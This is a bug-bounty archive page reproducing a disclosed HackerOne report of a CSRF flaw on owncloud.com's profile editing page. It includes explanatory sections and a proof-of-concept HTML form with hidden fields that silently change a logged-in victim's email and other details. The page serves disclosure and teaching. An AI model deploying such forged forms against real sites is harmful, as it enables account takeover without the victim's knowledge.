Skip to content
CSRF Disclosed report Beginner

owncloud.com: Allowed an attacker to force a user to change profile details. (XCSRF)

The profile editing page on the vendor's account area accepted form submissions without any anti-CSRF token, so a page on another site could silently submit a form that changed the victim's profile details. An attacker could therefore alter a logged-in user's email, name and other fields without the user realising.

jaysonzabate Follow

Originally disclosed on HackerOne

  • Triaged in 3 hours
  • Fixed in 18 hours
  • Disclosed after 24 days

Allowed an attacker to force a user to change profile details. (XCSRF)

A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists. There is no mitigation of Cross-Site Request Forgery (XCSRF) in edit profiles at https://owncloud.com/account/

The vulnerability resided in edit profile and allowed an attacker to force a user to change profile details. The attacker could employ a malicious web page with the following HTML code and ask the user to click the submit form. then the user was not able to understand what was really happening.

###Reproduction Instructions / Proof of Concept:

  <form action="https://owncloud.com/account/" method="POST">
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;email" value="asdasdwqkgei&#64;yahoo&#46;com" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;first&#95;name" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;last&#95;name" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;display&#95;name" value="test "/>
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;user&#95;type" value="Other" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;company" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;title" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;salutation" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;address&#95;1" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;city" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;state" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;country" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;employees" value="test;" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;planed&#95;users" value="asdasdwqkgei" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;phone&#95;number" value="test" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;file" value="" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;password1" value="" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;password2" value="" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;sc&#95;profile&#95;save" value="" />
      <input type="hidden" name="ws&#95;plugin&#95;&#95;s2member&#95;profile&#95;save" value="" />
      <input type="submit" value="Submit request" />
    </form>

###Suggested fix:

Using crumbs to protect your PHP API (Ajax) call from Cross-site request forgery (CSRF/XSRF) and other vulnerabilities.

The original report as published on HackerOne, by jaysonzabate. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the profile update endpoint accepted POST requests based only on the session cookie, with no anti-CSRF token or origin check.

Impact

An attacker could force a logged-in user to change their profile details, including the account email.

What the attacker needed

Victim is logged in; victim clicks a link or button

The fix

The profile update endpoint should be protected with anti-CSRF tokens (crumbs) validated on each request.

How it was found

  1. The attacker builds a malicious web page containing a hidden form that posts to the account profile URL.
  2. The form fields are pre-filled with the attacker's chosen values for email, name and other profile details.
  3. The attacker asks the logged-in victim to open the page and click the submit button.
  4. The victim's browser sends the request with their existing session, and the profile is changed without them understanding what happened.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log in to a site, your browser keeps a session cookie that proves who you are. If that site accepts a form submission without also checking a secret value that only its own pages know, another website can make your browser send that form for you. Here the profile form had no such check, so a malicious page could quietly change your details while you were signed in.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by jaysonzabate

View all

3 more disclosed reports, best first.

More from ownCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.